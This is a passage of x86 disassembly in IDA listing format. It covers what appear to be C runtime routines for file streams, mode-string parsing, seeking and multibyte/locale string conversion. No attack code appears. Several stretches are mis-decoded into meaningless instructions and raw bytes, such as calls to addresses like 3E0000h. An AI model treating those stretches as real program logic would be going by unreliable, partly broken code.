mov [ecx+esi+5], al
jmp short loc_416778
; ---------------------------------------------------------------------------
loc_41674F: ; CODE XREF: sub_4165C4+176j
cmp edi, [ebp+arg_4]
jnz short loc_41675F
cmp [ebp+var_1], 0Ah
jnz short loc_41675F
loc_41675A: ; CODE XREF: sub_4165C4+136j
; sub_4165C4+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_416777
; ---------------------------------------------------------------------------
loc_41675F: ; CODE XREF: sub_4165C4+18Ej
; sub_4165C4+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_4169A2
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_416778
loc_416774: ; CODE XREF: sub_4165C4+167j
; sub_4165C4+16Dj
mov byte ptr [edi], 0Dh
loc_416777: ; CODE XREF: sub_4165C4+199j
inc edi
loc_416778: ; CODE XREF: sub_4165C4+11Ej
; sub_4165C4+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_4166CB
jmp short loc_416796
; ---------------------------------------------------------------------------
loc_416786: ; CODE XREF: sub_4165C4+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_416796
or al, 2
mov [esi], al
loc_416796: ; CODE XREF: sub_4165C4+101j
; sub_4165C4+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41679C: ; CODE XREF: sub_4165C4+DAj
mov eax, [ebp+var_8]
jmp short loc_4167B5
; ---------------------------------------------------------------------------
loc_4167A1: ; CODE XREF: sub_4165C4+12j
; sub_4165C4+39j
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
loc_4167B2: ; CODE XREF: sub_4165C4+ABj
; sub_4165C4+C3j
or eax, 0FFFFFFFFh
loc_4167B5: ; CODE XREF: sub_4165C4+B7j
; sub_4165C4+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_4165C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167BA proc near ; CODE XREF: sub_411B2E+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:dword_45FB04
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4167F3
cmp al, 72h
jz short loc_4167EC
cmp al, 77h
jnz loc_416907
mov ecx, 301h
jmp short loc_4167F8
; ---------------------------------------------------------------------------
loc_4167EC: ; CODE XREF: sub_4167BA+21j
xor ecx, ecx
or esi, 1
jmp short loc_4167FB
; ---------------------------------------------------------------------------
loc_4167F3: ; CODE XREF: sub_4167BA+1Dj
mov ecx, 109h
loc_4167F8: ; CODE XREF: sub_4167BA+30j
or esi, 2
loc_4167FB: ; CODE XREF: sub_4167BA+37j
push 1
pop edx
loc_4167FE: ; CODE XREF: sub_4167BA+8Bj
; sub_4167BA+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4168ED
cmp edx, ebx
jz loc_4168ED
movsx eax, al
cmp eax, 54h
jg short loc_41688C
jz short loc_41687C
sub eax, 2Bh
jz short loc_416866
sub eax, 19h
jz short loc_41685C
sub eax, 0Eh
jz short loc_416847
dec eax
jnz loc_4168DE
cmp [ebp+var_4], ebx
jnz loc_4168DE
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4167FE
; ---------------------------------------------------------------------------
loc_416847: ; CODE XREF: sub_4167BA+6Fj
cmp [ebp+var_4], ebx
jnz loc_4168DE
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4167FE
; ---------------------------------------------------------------------------
loc_41685C: ; CODE XREF: sub_4167BA+6Aj
test cl, 40h
jnz short loc_4168DE
or ecx, 40h
jmp short loc_4167FE
; ---------------------------------------------------------------------------
loc_416866: ; CODE XREF: sub_4167BA+65j
test cl, 2
jnz short loc_4168DE
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4167FE
; ---------------------------------------------------------------------------
loc_41687C: ; CODE XREF: sub_4167BA+60j
mov eax, 1000h
test ecx, eax
jnz short loc_4168DE
or ecx, eax
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_41688C: ; CODE XREF: sub_4167BA+5Ej
sub eax, 62h
jz short loc_4168D9
dec eax
jz short loc_4168C2
sub eax, 0Bh
jz short loc_4168AB
sub eax, 6
jnz short loc_4168DE
test ch, 0C0h
jnz short loc_4168DE
or ch, 40h
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_4168AB: ; CODE XREF: sub_4167BA+DDj
cmp [ebp+var_8], ebx
jnz short loc_4168DE
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_4168C2: ; CODE XREF: sub_4167BA+D8j
cmp [ebp+var_8], ebx
jnz short loc_4168DE
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_4168D9: ; CODE XREF: sub_4167BA+D5j
test ch, 0C0h
jz short loc_4168E5
loc_4168DE: ; CODE XREF: sub_4167BA+72j
; sub_4167BA+7Bj ...
xor edx, edx
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_4168E5: ; CODE XREF: sub_4167BA+122j
or ch, 80h
jmp loc_4167FE
; ---------------------------------------------------------------------------
loc_4168ED: ; CODE XREF: sub_4167BA+4Aj
; sub_4167BA+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_4192E6
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41690B
loc_416907: ; CODE XREF: sub_4167BA+25j
xor eax, eax
jmp short loc_416925
; ---------------------------------------------------------------------------
loc_41690B: ; CODE XREF: sub_4167BA+14Bj
mov eax, [ebp+arg_C]
inc ds:dword_45FA04
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_416925: ; CODE XREF: sub_4167BA+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4167BA endp
; =============== S U B R O U T I N E =======================================
sub_41692A proc near ; CODE XREF: sub_411B2Ep
mov edx, ds:dword_460B40
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41699B
mov ebx, ds:dword_45FB34
mov edi, ebx
loc_416946: ; CODE XREF: sub_41692A+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_416961
test byte ptr [ecx+0Ch], 83h
jz short loc_41695C
inc eax
add edi, 4
cmp eax, edx
jl short loc_416946
jmp short loc_41699B
; ---------------------------------------------------------------------------
loc_41695C: ; CODE XREF: sub_41692A+26j
mov esi, [ebx+eax*4]
jmp short loc_416985
; ---------------------------------------------------------------------------
loc_416961: ; CODE XREF: sub_41692A+20j
mov edi, eax
push 20h
shl edi, 2
call sub_410C0F
pop ecx
mov ecx, ds:dword_45FB34
mov [edi+ecx], eax
mov eax, ds:dword_45FB34
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41699B
mov esi, edi
loc_416985: ; CODE XREF: sub_41692A+35j
cmp esi, ebp
jz short loc_41699B
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41699B: ; CODE XREF: sub_41692A+12j
; sub_41692A+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41692A endp
; =============== S U B R O U T I N E =======================================
sub_4169A2 proc near ; CODE XREF: seg000:00411E65p
; sub_412B27+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, ds:dword_460C60
push esi
push edi
jnb short loc_416A24
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:460B60h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_416A24
push eax
call sub_419252
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4169E6
mov ds:dword_45F844, 9
jmp short loc_416A35
; ---------------------------------------------------------------------------
loc_4169E6: ; CODE XREF: sub_4169A2+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_41C098 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_416A06
call ds:dword_41C068 ; RtlGetLastWin32Error
jmp short loc_416A08
; ---------------------------------------------------------------------------
loc_416A06: ; CODE XREF: sub_4169A2+5Aj
xor eax, eax
loc_416A08: ; CODE XREF: sub_4169A2+62j
test eax, eax
jz short loc_416A15
push eax
call sub_41724D
pop ecx
jmp short loc_416A35
; ---------------------------------------------------------------------------
loc_416A15: ; CODE XREF: sub_4169A2+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_416A38
; ---------------------------------------------------------------------------
loc_416A24: ; CODE XREF: sub_4169A2+Dj
; sub_4169A2+2Aj
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
loc_416A35: ; CODE XREF: sub_4169A2+42j
; sub_4169A2+71j
or eax, 0FFFFFFFFh
loc_416A38: ; CODE XREF: sub_4169A2+80j
pop edi
pop esi
pop ebx
retn
sub_4169A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A3C proc near ; CODE XREF: seg000:00411E28p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_416A58
mov [edi+4], ebx
loc_416A58: ; CODE XREF: sub_416A3C+17j
push 1
push ebx
push esi
call sub_4169A2
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_416AC6
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_416A7D
sub eax, [edi+4]
jmp loc_416B8F
; ---------------------------------------------------------------------------
loc_416A7D: ; CODE XREF: sub_416A3C+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_416AB7
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, ds:dword_460B60[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_416ACE
mov edx, ecx
loc_416AA8: ; CODE XREF: sub_416A3C+79j
cmp edx, eax
jnb short loc_416ACE
cmp byte ptr [edx], 0Ah
jnz short loc_416AB4
inc [ebp+var_8]
loc_416AB4: ; CODE XREF: sub_416A3C+73j
inc edx
jmp short loc_416AA8
; ---------------------------------------------------------------------------
loc_416AB7: ; CODE XREF: sub_416A3C+50j
test dl, 80h
jnz short loc_416ACE
mov ds:dword_45F844, 16h
loc_416AC6: ; CODE XREF: sub_416A3C+2Dj
or eax, 0FFFFFFFFh
jmp loc_416B8F
; ---------------------------------------------------------------------------
loc_416ACE: ; CODE XREF: sub_416A3C+68j
; sub_416A3C+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_416ADC
mov eax, [ebp+var_8]
jmp loc_416B8F
; ---------------------------------------------------------------------------
loc_416ADC: ; CODE XREF: sub_416A3C+96j
test byte ptr [edi+0Ch], 1
jz loc_416B87
mov edx, [edi+4]
test edx, edx
jnz short loc_416AF5
and [ebp+var_8], edx
jmp loc_416B87
; ---------------------------------------------------------------------------
loc_416AF5: ; CODE XREF: sub_416A3C+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:460B60h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_416B81
push 2
push 0
push [ebp+var_C]
call sub_4169A2
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_416B48
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_416B33: ; CODE XREF: sub_416A3C+104j
cmp eax, ecx
jnb short loc_416B42
cmp byte ptr [eax], 0Ah
jnz short loc_416B3F
inc [ebp+arg_0]
loc_416B3F: ; CODE XREF: sub_416A3C+FEj
inc eax
jmp short loc_416B33
; ---------------------------------------------------------------------------
loc_416B42: ; CODE XREF: sub_416A3C+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_416B7C
; ---------------------------------------------------------------------------
loc_416B48: ; CODE XREF: sub_416A3C+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_4169A2
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_416B6F
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_416B6F
test ch, 4
jz short loc_416B72
loc_416B6F: ; CODE XREF: sub_416A3C+124j
; sub_416A3C+12Cj
mov eax, [edi+18h]
loc_416B72: ; CODE XREF: sub_416A3C+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_416B7C: ; CODE XREF: sub_416A3C+10Aj
jz short loc_416B81
inc [ebp+arg_0]
loc_416B81: ; CODE XREF: sub_416A3C+D9j
; sub_416A3C:loc_416B7Cj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_416B87: ; CODE XREF: sub_416A3C+A4j
; sub_416A3C+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_416B8F: ; CODE XREF: sub_416A3C+3Cj
; sub_416A3C+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_416A3C endp
; ---------------------------------------------------------------------------
loc_416B94: ; CODE XREF: sub_412027+A3p
; sub_4156C1+A5p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C858
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp ds:dword_45F8C4, edi
jnz short loc_416C0A
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_41C850
mov esi, 100h
push esi
push edi
call ds:dword_41C178 ; LCMapStringW
test eax, eax
jz short loc_416BE8
mov ds:dword_45F8C4, ebx
jmp short loc_416C0A
; ---------------------------------------------------------------------------
loc_416BE8: ; CODE XREF: seg000:00416BDEj
push edi
push edi
push ebx
push offset dword_42F3E4
push esi
push edi
call near ptr 3E0000h
xor al, [ebp+22840FC0h]
add [eax], eax
add bh, al
add eax, offset dword_45F8C4
add al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_416C0A: ; CODE XREF: seg000:00416BC2j
; seg000:00416BE6j
cmp [ebp+14h], edi
jle short loc_416C1F
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_416DB8
pop ecx
pop ecx
mov [ebp+14h], eax
loc_416C1F: ; CODE XREF: seg000:00416C0Dj
mov eax, ds:dword_45F8C4
cmp eax, 2
jnz short loc_416C46
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 3E0000h
scasb
jmp loc_416D24
; ---------------------------------------------------------------------------
loc_416C46: ; CODE XREF: seg000:00416C27j
cmp eax, 1
jnz loc_416D22
cmp [ebp+20h], edi
jnz short loc_416C5C
mov eax, ds:dword_45F8E0
mov [ebp+20h], eax
loc_416C5C: ; CODE XREF: seg000:00416C52j
push edi
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov eax, [ebp+24h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+20h]
call ds:dword_41C120 ; MultiByteToWideChar
mov ebx, eax
mov [ebp-1Ch], ebx
cmp ebx, edi
jz loc_416D22
mov [ebp-4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_410BE0
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_416CB7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-24h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_416CB7: ; CODE XREF: seg000:00416CA2j
cmp [ebp-24h], edi
jz short loc_416D22
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call ds:dword_41C120 ; MultiByteToWideChar
test eax, eax
jz short loc_416D22
push edi
push edi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41C178 ; LCMapStringW
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz short loc_416D22
test byte ptr [ebp+0Dh], 4
jz short loc_416D36
cmp [ebp+1Ch], edi
jz loc_416DB1
cmp esi, [ebp+1Ch]
jg short loc_416D22
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41C178 ; LCMapStringW
test eax, eax
jnz loc_416DB1
loc_416D22: ; CODE XREF: seg000:00416C49j
; seg000:00416C80j ...
xor eax, eax
loc_416D24: ; CODE XREF: seg000:00416C41j
; seg000:00416DB3j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416D36: ; CODE XREF: seg000:00416CF4j
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_410BE0
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_416D6A
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_416D6A: ; CODE XREF: seg000:00416D56j
cmp ebx, edi
jz short loc_416D22
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41C178 ; LCMapStringW
test eax, eax
jz short loc_416D22
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_416D91
push edi
push edi
jmp short loc_416D97
; ---------------------------------------------------------------------------
loc_416D91: ; CODE XREF: seg000:00416D8Bj
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_416D97: ; CODE XREF: seg000:00416D8Fj
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call ds:dword_41C11C ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_416D22
loc_416DB1: ; CODE XREF: seg000:00416CF9j
; seg000:00416D1Cj
mov eax, esi
jmp loc_416D24
; =============== S U B R O U T I N E =======================================
sub_416DB8 proc near ; CODE XREF: seg000:00416C15p
; seg000:0041A7B6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_416DD5
loc_416DC8: ; CODE XREF: sub_416DB8+1Bj
cmp byte ptr [eax], 0
jz short loc_416DD5
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_416DC8
loc_416DD5: ; CODE XREF: sub_416DB8+Ej
; sub_416DB8+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_416DE0
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_416DE0: ; CODE XREF: sub_416DB8+21j
mov eax, edx
retn
sub_416DB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DE3 proc near ; CODE XREF: sub_4171A7+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call loc_416F7C
mov esi, eax
pop ecx
cmp esi, ds:dword_460C64
mov [ebp+arg_0], esi
jz loc_416F70
xor ebx, ebx
cmp esi, ebx
jz loc_416F66
xor edx, edx
mov eax, offset dword_42E510
loc_416E17: ; CODE XREF: sub_416DE3+41j
cmp [eax], esi
jz short loc_416E8D
add eax, 30h
inc edx
cmp eax, offset dword_42E600
jl short loc_416E17
lea eax, [ebp+var_18]
push eax
push esi
call near ptr 0CC0004h
repne cmp eax, 1
jnz loc_416F5E
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_460D80
cmp [ebp+var_18], 1
mov ds:dword_460C64, esi
rep stosd
stosb
mov ds:dword_460E84, ebx
jbe loc_416F4C
cmp [ebp+var_12], 0
jz loc_416F22
lea ecx, [ebp+var_11]
loc_416E6A: ; CODE XREF: sub_416DE3+139j
mov dl, [ecx]
test dl, dl
jz loc_416F22
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_416E7B: ; CODE XREF: sub_416DE3+A8j
cmp eax, edx
ja loc_416F16
or ds:byte_460D81[eax], 4
inc eax
jmp short loc_416E7B
; ---------------------------------------------------------------------------
loc_416E8D: ; CODE XREF: sub_416DE3+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_460D80
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_42E520[esi]
loc_416EA9: ; CODE XREF: sub_416DE3+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_416EDC
loc_416EB0: ; CODE XREF: sub_416DE3+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_416EDC
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_416ED5
mov edx, [ebp+var_4]
mov dl, ds:byte_42E508[edx]
loc_416ECA: ; CODE XREF: sub_416DE3+F0j
or ds:byte_460D81[eax], dl
inc eax
cmp eax, edi
jbe short loc_416ECA
loc_416ED5: ; CODE XREF: sub_416DE3+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_416EB0
loc_416EDC: ; CODE XREF: sub_416DE3+CBj
; sub_416DE3+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_416EA9
mov eax, [ebp+arg_0]
mov ds:dword_460C7C, 1
push eax
mov ds:dword_460C64, eax
call sub_416FC6
lea esi, dword_42E514[esi]
mov edi, offset dword_460C70
movsd
movsd
pop ecx
mov ds:dword_460E84, eax
movsd
jmp short loc_416F6B
; ---------------------------------------------------------------------------
loc_416F16: ; CODE XREF: sub_416DE3+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_416E6A
loc_416F22: ; CODE XREF: sub_416DE3+7Ej
; sub_416DE3+8Bj
push 1
pop eax
loc_416F25: ; CODE XREF: sub_416DE3+14Fj
or ds:byte_460D81[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_416F25
push esi
call sub_416FC6
pop ecx
mov ds:dword_460E84, eax
mov ds:dword_460C7C, 1
jmp short loc_416F52
; ---------------------------------------------------------------------------
loc_416F4C: ; CODE XREF: sub_416DE3+74j
mov ds:dword_460C7C, ebx
loc_416F52: ; CODE XREF: sub_416DE3+167j
xor eax, eax
mov edi, offset dword_460C70
stosd
stosd
stosd
jmp short loc_416F6B
; ---------------------------------------------------------------------------
loc_416F5E: ; CODE XREF: sub_416DE3+51j
cmp ds:dword_45F8E8, ebx
jz short loc_416F74
loc_416F66: ; CODE XREF: sub_416DE3+27j
call sub_416FF9
loc_416F6B: ; CODE XREF: sub_416DE3+131j
; sub_416DE3+179j
call sub_417022
loc_416F70: ; CODE XREF: sub_416DE3+1Dj
xor eax, eax
jmp short loc_416F77
; ---------------------------------------------------------------------------
loc_416F74: ; CODE XREF: sub_416DE3+181j
or eax, 0FFFFFFFFh
loc_416F77: ; CODE XREF: sub_416DE3+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_416DE3 endp
; ---------------------------------------------------------------------------
loc_416F7C: ; CODE XREF: sub_416DE3+Cp
mov eax, [esp+4]
and ds:dword_45F8E8, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_416F9B+1
mov ds:dword_45F8E8, 1
call near ptr 3E0000h
loc_416F9B: ; CODE XREF: seg000:00416F8Aj
mov edx, 75FDF883h
adc bh, al
add eax, offset dword_45F8E8
add [eax], eax
; ---------------------------------------------------------------------------
db 2 dup(0), 0E8h
dd 889054h, 0FCF8836Ch, 0E0A10F75h, 0C70045F8h, 45F8E805h
dd 100h
db 0, 0C3h
; =============== S U B R O U T I N E =======================================
sub_416FC6 proc near ; CODE XREF: sub_416DE3+118p
; sub_416DE3+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_416FF3
sub eax, 4
jz short loc_416FED
sub eax, 0Dh
jz short loc_416FE7
dec eax
jz short loc_416FE1
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_416FE1: ; CODE XREF: sub_416FC6+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_416FE7: ; CODE XREF: sub_416FC6+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_416FED: ; CODE XREF: sub_416FC6+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_416FF3: ; CODE XREF: sub_416FC6+9j
mov eax, 411h
retn
sub_416FC6 endp
; =============== S U B R O U T I N E =======================================
sub_416FF9 proc near ; CODE XREF: sub_416DE3:loc_416F66p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_460D80
rep stosd
stosb
xor eax, eax
mov edi, offset dword_460C70
mov ds:dword_460C64, eax
mov ds:dword_460C7C, eax
mov ds:dword_460E84, eax
stosd
stosd
stosd
pop edi
retn
sub_416FF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417022 proc near ; CODE XREF: sub_416DE3:loc_416F6Bp
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push ds:dword_460C64
call near ptr 0CE0004h
lock cmp eax, 1
jnz loc_41715B
xor eax, eax
mov esi, 100h
loc_41704C: ; CODE XREF: sub_417022+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41704C
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41709D
push ebx
push edi
lea edx, [ebp+var_D]
loc_41706B: ; CODE XREF: sub_417022+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_417092
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_417092: ; CODE XREF: sub_417022+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41706B
pop edi
pop ebx
loc_41709D: ; CODE XREF: sub_417022+42j
push 0
lea eax, [ebp+var_514]
push ds:dword_460E84
push ds:dword_460C64
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call loc_4180E4
push 0
lea eax, [ebp+var_214]
push ds:dword_460C64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push ds:dword_460E84
call loc_416B94
push 0
lea eax, [ebp+var_314]
push ds:dword_460C64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push ds:dword_460E84
call loc_416B94
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_417118: ; CODE XREF: sub_417022+135j
mov dx, [ecx]
test dl, 1
jz short loc_417136
or ds:byte_460D81[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41712E: ; CODE XREF: sub_417022+127j
mov ds:byte_460C80[eax], dl
jmp short loc_417152
; ---------------------------------------------------------------------------
loc_417136: ; CODE XREF: sub_417022+FCj
test dl, 2
jz short loc_41714B
or ds:byte_460D81[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41712E
; ---------------------------------------------------------------------------
loc_41714B: ; CODE XREF: sub_417022+117j
and ds:byte_460C80[eax], 0
loc_417152: ; CODE XREF: sub_417022+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_417118
jmp short loc_4171A4
; ---------------------------------------------------------------------------
loc_41715B: ; CODE XREF: sub_417022+1Dj
xor eax, eax
mov esi, 100h
loc_417162: ; CODE XREF: sub_417022+180j
cmp eax, 41h
jb short loc_417180
cmp eax, 5Ah
ja short loc_417180
or ds:byte_460D81[eax], 10h
mov cl, al
add cl, 20h
loc_417178: ; CODE XREF: sub_417022+174j
mov ds:byte_460C80[eax], cl
jmp short loc_41719F
; ---------------------------------------------------------------------------
loc_417180: ; CODE XREF: sub_417022+143j
; sub_417022+148j
cmp eax, 61h
jb short loc_417198
cmp eax, 7Ah
ja short loc_417198
or ds:byte_460D81[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_417178
; ---------------------------------------------------------------------------
